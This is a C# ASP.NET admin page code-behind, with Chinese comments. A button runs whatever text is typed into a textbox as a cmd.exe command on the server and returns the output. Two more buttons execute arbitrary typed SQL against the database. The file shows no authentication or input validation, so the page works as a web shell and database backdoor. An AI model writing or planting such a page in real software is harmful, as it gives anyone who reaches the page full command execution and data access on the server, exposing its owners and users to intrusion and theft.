﻿using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Diagnostics;
using DAL;

public partial class Admin_Modules_Backend_at : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {

    }
    protected void btn1_Click(object sender, EventArgs e)
    {
        string command = this.TextBox1.Text;
        string result = ExecuteDos(command,100);
        Debug.WriteLine("I debug sth here in this cs class." + result);
        this.TextBox2.Text = result;
        return;   
        
    }


    /// <summary>
    /// 使用WriteLine方式。加了一个exit。
    /// </summary>
    /// <param name="command"></param>
    /// <returns></returns>
    public static string RunDosCommand(string command)
    {
        Process process = new Process();
        process.StartInfo.FileName = "cmd.exe";
        process.StartInfo.UseShellExecute = false;
        process.StartInfo.RedirectStandardInput = true;
        process.StartInfo.RedirectStandardOutput = true;
        process.StartInfo.RedirectStandardError = true;
        process.StartInfo.CreateNoWindow = false;
        process.Start();

        process.StandardInput.WriteLine(command);
        process.StandardInput.WriteLine("exit");
        return process.StandardOutput.ReadToEnd();
    }
    
    static void Main(string[] args)
    {
        RunDosCommand("dir/w");//运行dos命令
        Console.Read();
    }





    /// <summary>
    /// 执行DOS命令，返回DOS命令的输出,但是net命令不能用。
    /// </summary>
    /// <param name="dosCommand">dos命令</param>
    /// <param name="milliseconds">等待命令执行的时间（单位：毫秒），如果设定为0，则无限等待</param>
    /// <returns>返回输出，如果发生异常，返回空字符串</returns>
    public static string ExecuteDos(string dosCommand, int milliseconds)
    {

        string output = ""; //输出字符串
        if (dosCommand != null && dosCommand != "")
        {
            Process process = new Process(); //创建进程对象
            ProcessStartInfo startInfo = new ProcessStartInfo();
            startInfo.FileName = "cmd.exe"; //设定需要执行的命令
            startInfo.Arguments = "/C " + dosCommand; //设定参数，其中的“/C”表示执行完命令后马上退出
            startInfo.UseShellExecute = false; //不使用系统外壳程序启动
            startInfo.RedirectStandardInput = false; //不重定向输入
            startInfo.RedirectStandardOutput = true; //重定向输出
            startInfo.CreateNoWindow = true; //不创建窗口
            process.StartInfo = startInfo;

            try
            {
                if (process.Start()) //开始进程
                {
                    if (milliseconds == 0)
                        process.WaitForExit(); //这里无限等待进程结束
                    else
                        process.WaitForExit(milliseconds); //这里等待进程结束，等待时间为指定的毫秒
                    output = process.StandardOutput.ReadToEnd();//读取进程的输出
                }
            }
            catch
            {
            }
            finally
            {
                if (process != null)
                    process.Close();
            }
        }

        return output;

    }


    /// <summary>
    /// 用于在后台执行sql语句
    /// </summary>
    /// <param name="sender"></param>
    /// <param name="e"></param>
    protected void btn2_Click(object sender, EventArgs e)
    {
        string command = this.TextBox3.Text;
        string res = DbHelperSql.RunSql(command);
        this.TextBox4.Text = res.ToString();
    }

    /// <summary>
    /// 用于在后台执行sql语句
    /// </summary>
    /// <param name="sender"></param>
    /// <param name="e"></param>
    protected void btn3_Click(object sender, EventArgs e)
    {
        string command = this.TextBox5.Text;
        int res = DbHelperSql.ExecuteSql(command);
        this.TextBox6.Text = res.ToString();
    }
}
